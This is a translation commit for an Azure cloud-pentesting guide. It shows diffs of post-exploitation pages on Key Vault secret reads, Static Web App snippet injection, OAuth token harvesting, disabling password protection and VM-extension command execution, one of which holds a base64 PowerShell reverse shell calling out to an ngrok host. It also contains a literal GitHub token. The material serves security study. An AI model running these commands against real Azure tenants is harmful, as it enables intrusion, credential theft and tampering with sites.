Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-04-02 15:53:19 +00:00
parent b9ea8db9ce
commit 769757aff8
5 changed files with 193 additions and 330 deletions

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@@ -1,145 +0,0 @@
import os
import re
import tempfile
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"# {file_name}\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
def main():
# Specify the starting folder and output file
start_folder = os.getcwd()
output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
# Keywords to exclude from lines
exclude_keywords = [
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
# Print the path to the output file
print(f"Merged content has been saved to: {output_file}")
if __name__ == "__main__":
# Execute this from the hacktricks folder to clean
# It will clean all the .md files and compile them into 1 in a proper order
main()

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@@ -12,7 +12,7 @@ Para mais informações sobre este serviço, consulte:
### Microsoft.KeyVault/vaults/secrets/getSecret/action
Esta permissão permitirá que um principal leia o valor secreto dos segredos:
Esta permissão permitirá que um principal leia o valor secreto de segredos:
```bash
az keyvault secret show --vault-name <vault name> --name <secret name>
@@ -27,7 +27,7 @@ az keyvault certificate purge --vault-name <vault name> --name <certificate name
```
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
Esta permissão permite que um principal criptografe dados usando uma chave armazenada no cofre.
Esta permissão permite que um principal encripte dados usando uma chave armazenada no cofre.
```bash
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
@@ -85,5 +85,11 @@ az keyvault secret delete --vault-name <vault name> --name <secret name>
Esta permissão permite que um principal restaure um segredo de um backup.
```bash
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
```
### Microsoft.KeyVault/vaults/keys/recover/action
Permite a recuperação de uma chave previamente excluída de um Azure Key Vault
```bash
az keyvault secret recover --vault-name <vault-name> --name <secret-name>
```
{{#include ../../../banners/hacktricks-training.md}}

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@@ -112,7 +112,7 @@ az containerapp create \
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
Embora os jobs não sejam de longa duração como os aplicativos de contêiner, você pode explorar a capacidade de substituir a configuração do comando do job ao iniciar uma execução. Ao criar um template de job personalizado (por exemplo, substituindo o comando padrão por um shell reverso), você pode obter acesso ao shell dentro do contêiner que executa o job.
Embora os jobs não sejam de longa duração como os aplicativos de contêiner, você pode explorar a capacidade de substituir a configuração do comando do job ao iniciar uma execução. Ao criar um modelo de job personalizado (por exemplo, substituindo o comando padrão por um shell reverso), você pode obter acesso ao shell dentro do contêiner que executa o job.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
@@ -173,5 +173,10 @@ Parece que com essas permissões deveria ser possível iniciar um job. Isso pode
Não consegui fazê-lo funcionar, mas de acordo com os parâmetros permitidos, deveria ser possível.
### Microsoft.ContainerInstance/containerGroups/restart/action
Permite reiniciar um grupo de contêiner específico dentro do Azure Container Instances.
```bash
az container restart --resource-group <resource-group> --name <container-instances>
```
{{#include ../../../banners/hacktricks-training.md}}

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@@ -1,10 +1,10 @@
# Az - Static Web Apps Post Exploitation
# Az - Static Web Apps Pós Exploração
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
For more information about this service check:
Para mais informações sobre este serviço, consulte:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,164 +12,153 @@ For more information about this service check:
### Microsoft.Web/staticSites/snippets/write
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
The fllowing command create an snippet that will always be loaded by the web app::
É possível fazer uma página web estática carregar código HTML arbitrário criando um snippet. Isso poderia permitir que um atacante injetasse código JS dentro do aplicativo web e roubasse informações sensíveis, como credenciais ou chaves mnemônicas (em carteiras web3).
O seguinte comando cria um snippet que sempre será carregado pelo aplicativo web::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### Ler Credenciais de Terceiros Configuradas
### Read Configured Third Party Credentials
As explained in the App Service section:
Conforme explicado na seção App Service:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
Executando o seguinte comando, é possível **ler as credenciais de terceiros** configuradas na conta atual. Note que, se por exemplo, algumas credenciais do Github estiverem configuradas em um usuário diferente, você não poderá acessar o token de outro.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Este comando retorna tokens para Github, Bitbucket, Dropbox e OneDrive.
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
Here you have some command examples to check the tokens:
Aqui estão alguns exemplos de comandos para verificar os tokens:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Overwrite file - Overwrite routes, HTML, JS...
It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
É possível **substituir um arquivo dentro do repositório do Github** que contém o aplicativo através do Azure, enviando um pedido com o **token do Github** como o seguinte, que indicará o caminho do arquivo a ser substituído, o conteúdo do arquivo e a mensagem de commit.
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
Isso pode ser explorado por atacantes para basicamente **mudar o conteúdo do aplicativo web** para servir conteúdo malicioso (roubar credenciais, chaves mnemônicas...) ou apenas para **redirecionar certos caminhos** para seus próprios servidores, substituindo o arquivo `staticwebapp.config.json`.
> [!WARNING]
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
> Note que se um atacante conseguir comprometer o repositório do Github de qualquer forma, ele também pode substituir o arquivo diretamente do Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
### Microsoft.Web/staticSites/config/write
With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
Com esta permissão, é possível **modificar a senha** que protege um aplicativo web estático ou até mesmo desproteger todos os ambientes enviando uma solicitação como a seguinte:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
This permission allows to get the **API key deployment token** for the static app:
Esta permissão permite obter o **token de implantação da chave API** para o aplicativo estático:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Então, para **atualizar um aplicativo usando o token**, você poderia executar o seguinte comando. Note que este comando foi extraído verificando **como o Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funciona**, já que é o que a Azure definiu como padrão para usar. Portanto, a imagem e os parâmetros podem mudar no futuro.
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
2. Change the code you want to deploy
3. Deploy it running (Remember to change the `<api-token>`):
> [!TIP]
> Para implantar o aplicativo, você poderia usar a ferramenta **`swa`** de [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ou seguir os seguintes passos brutos:
1. Baixe o repositório [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou qualquer outro repositório que você queira implantar) e execute `cd react-basic`.
2. Altere o código que você deseja implantar.
3. Implante-o executando (lembre-se de mudar o `<api-token>`):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
>[!WARNING]
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
> [!WARNING]
> Mesmo que você tenha o token, não será possível implantar o aplicativo se a **Política de Autorização de Implantação** estiver definida como **Github**. Para usar o token, você precisará da permissão `Microsoft.Web/staticSites/write` para alterar o método de implantação para usar o token da API.
### Microsoft.Web/staticSites/write
With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
Com essa permissão, é possível **mudar a fonte do aplicativo web estático para um repositório Github diferente**, no entanto, ele não será provisionado automaticamente, pois isso deve ser feito a partir de uma Ação do Github.
However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
No entanto, se a **Política de Autorização de Implantação** estiver definida como **Github**, é possível **atualizar o aplicativo a partir do novo repositório de origem!**.
Caso a **Política de Autorização de Implantação** não esteja definida como Github, você pode alterá-la com a mesma permissão `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -179,117 +168,109 @@ az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
```
Example Github Action to deploy the app:
Exemplo de Github Action para implantar o aplicativo:
```yaml
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
Com esta permissão, é possível **reiniciar a chave da API do aplicativo web estático**, potencialmente causando DoS nos fluxos de trabalho que implantam automaticamente o aplicativo.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
Esta permissão permite **criar um convite para um usuário** acessar caminhos protegidos dentro de um aplicativo web estático com um papel específico dado.
O login está localizado em um caminho como `/.auth/login/github` para github ou `/.auth/login/aad` para Entra ID e um usuário pode ser convidado com o seguinte comando:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
```
### Pull Requests
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
Por padrão, Pull Requests de um branch no mesmo repositório serão automaticamente compilados e construídos em um ambiente de staging. Isso pode ser explorado por um atacante com acesso de escrita ao repositório, mas sem conseguir contornar as proteções do branch de produção (geralmente `main`) para **implantar uma versão maliciosa do app** na URL de staging.
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
A URL de staging tem este formato: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` como: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
> Note que, por padrão, PRs externos não executarão workflows a menos que tenham mesclado pelo menos 1 PR no repositório. Um atacante poderia enviar um PR válido para o repositório e **então enviar um PR malicioso** para o repositório para implantar o app malicioso no ambiente de staging. NO ENTANTO, há uma proteção inesperada, a ação padrão do Github para implantar no aplicativo web estático precisa de acesso ao segredo contendo o token de implantação (como `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), mesmo que a implantação seja feita com o IDToken. Isso significa que, como um PR externo não terá acesso a esse segredo e um PR externo não pode alterar o Workflow para colocar aqui um token arbitrário sem que um PR seja aceito, **esse ataque realmente não funcionará**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -65,7 +65,7 @@ az vm extension set \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Execute shell reverso a partir de arquivo
- Executar shell reverso a partir de arquivo
```bash
az vm extension set \
--resource-group <rsc-group> \
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary>
Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão:
Esta é uma **extensão de VM** que pertence à Microsoft e usa PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão:
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -308,9 +308,9 @@ Esta permissão permite que um usuário **faça login como usuário em uma VM vi
Faça login via **SSH** com **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** e via **RDP** com suas **credenciais regulares do Azure**.
